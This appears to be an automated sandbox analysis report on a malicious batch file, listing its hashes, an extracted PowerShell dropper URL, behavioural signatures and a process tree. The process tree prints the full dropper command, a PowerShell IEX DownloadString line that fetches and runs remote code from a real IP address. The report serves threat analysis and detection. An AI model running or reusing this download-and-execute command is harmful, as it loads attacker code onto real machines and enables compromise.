Analysis
-
max time kernel
149s -
max time network
68s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
01-05-2020 15:10
Static task
static1
Behavioral task
behavioral1
Sample
U00vnQbF.bat
Resource
win7v200430
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
U00vnQbF.bat
Resource
win10v200430
windows10_x64
0 signatures
0 seconds
General
-
Target
U00vnQbF.bat
-
Size
191B
-
MD5
2300705e455665cbeb1087bfc25c672c
-
SHA1
737493862ea5a0c4de10f4e2fda82000c45e8779
-
SHA256
adba07f4a5d9a769b00d436a0e7c89777664b8cc17bd2515e951572fff8a634f
-
SHA512
26864b6c938379a876018ffcb1c927ff9806cb5fdc93d2088cf59ef3b7487bf81952c9e843d9ae1b3f827f3ba43dc7acf4b2a974e9bbfc709d58215982399911
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://185.103.242.78/pastes/U00vnQbF
Signatures
-
Makes http(s) request 1 IoCs
Contacts server via http/https, possibly for C2 communication.
Processes:
description flow ioc HTTP URL 2 http://www.msftconnecttest.com/connecttest.txt -
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 808 3144 WerFault.exe powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
WerFault.exedescription pid process Token: SeRestorePrivilege 808 WerFault.exe Token: SeBackupPrivilege 808 WerFault.exe Token: SeDebugPrivilege 808 WerFault.exe -
Suspicious behavior: EnumeratesProcesses 13 IoCs
Processes:
WerFault.exepid process 808 WerFault.exe 808 WerFault.exe 808 WerFault.exe 808 WerFault.exe 808 WerFault.exe 808 WerFault.exe 808 WerFault.exe 808 WerFault.exe 808 WerFault.exe 808 WerFault.exe 808 WerFault.exe 808 WerFault.exe 808 WerFault.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\U00vnQbF.bat"1⤵PID:3988
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/U00vnQbF');Invoke-HDBVPMGW;Start-Sleep -s 10000"2⤵PID:3144
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3144 -s 7043⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:808